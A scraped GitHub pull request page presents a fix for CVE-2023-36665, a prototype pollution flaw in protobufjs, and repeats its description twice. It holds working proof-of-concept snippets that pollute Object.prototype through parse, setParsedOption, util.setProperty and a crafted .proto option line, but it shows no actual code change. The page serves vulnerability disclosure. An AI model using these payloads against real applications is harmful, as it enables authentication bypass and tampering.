Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix protobufjs Improperly Controlled Modification of Object Prototype Pollution #2262

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

imhunterand
Copy link

@imhunterand imhunterand commented Feb 23, 2024

A user-controlled protobuf message can be used by an attacker to pollute the prototype of Object.prototype by adding and overwriting its data and functions. Exploitation can involve: (1) using the function parse to parse protobuf messages on the fly, (2) loading .proto files by using load/loadSync functions, or (3) providing untrusted input to the functions ReflectionObject.setParsedOption and util.setProperty.

Vulnerability Description

  • Using the parse function
const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
// returns true
  • Using the setParsedOption function of a ReflectionObject
const protobuf = require("protobufjs");
function gadgetFunction(){
  console.log("User is authenticated");
}
// This will fail, but also pollute the prototype of Object
try {
  let obj = new protobuf.ReflectionObject("Test");
  obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn");
} catch (e) {}
// Now we can make use of the new function on the polluted prototype 
const a = {};
a.testFn();
// Prints "User is authenticated" to the console. 
  • Using the function util.setProperty
const protobuf = require("protobufjs");
protobuf.util.setProperty({}, "constructor.prototype.verified", true);
console.log({}.verified);
// returns true
  • With the proto.poc file containing the following line:
option(foo).constructor.prototype.verified = true;

CVE-2023-36665
CWE-1321
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Screenshots

Screenshots Add any relevant before/after screenshots here

How did you test the change?

  • iOS Simulator
  • iOS Device
  • Android Simulator
  • Android Device
  • curl to a dev App Engine server
  • other, please describe

Checklist:

A user-controlled protobuf message can be used by an attacker to pollute the prototype of Object.prototype by adding and overwriting its data and functions. Exploitation can involve: (1) using the function parse to parse protobuf messages on the fly, (2) loading .proto files by using load/loadSync functions, or (3) providing untrusted input to the functions ReflectionObject.setParsedOption and util.setProperty. 

## Vulnerability Description
 * Using the parse function

```js
const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
// returns true
``` 
 * Using the `setParsedOption` function of a `ReflectionObject`

```js
const protobuf = require("protobufjs");
function gadgetFunction(){
  console.log("User is authenticated");
}
// This will fail, but also pollute the prototype of Object
try {
  let obj = new protobuf.ReflectionObject("Test");
  obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn");
} catch (e) {}
// Now we can make use of the new function on the polluted prototype 
const a = {};
a.testFn();
// Prints "User is authenticated" to the console. 
```

 * Using the function `util.setProperty`

```js
const protobuf = require("protobufjs");
protobuf.util.setProperty({}, "constructor.prototype.verified", true);
console.log({}.verified);
// returns true
```  
 
 * With the `proto.poc` file containing the following line:

```
option(foo).constructor.prototype.verified = true;
```

CVE-2023-36665
CWE-1321
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

1 participant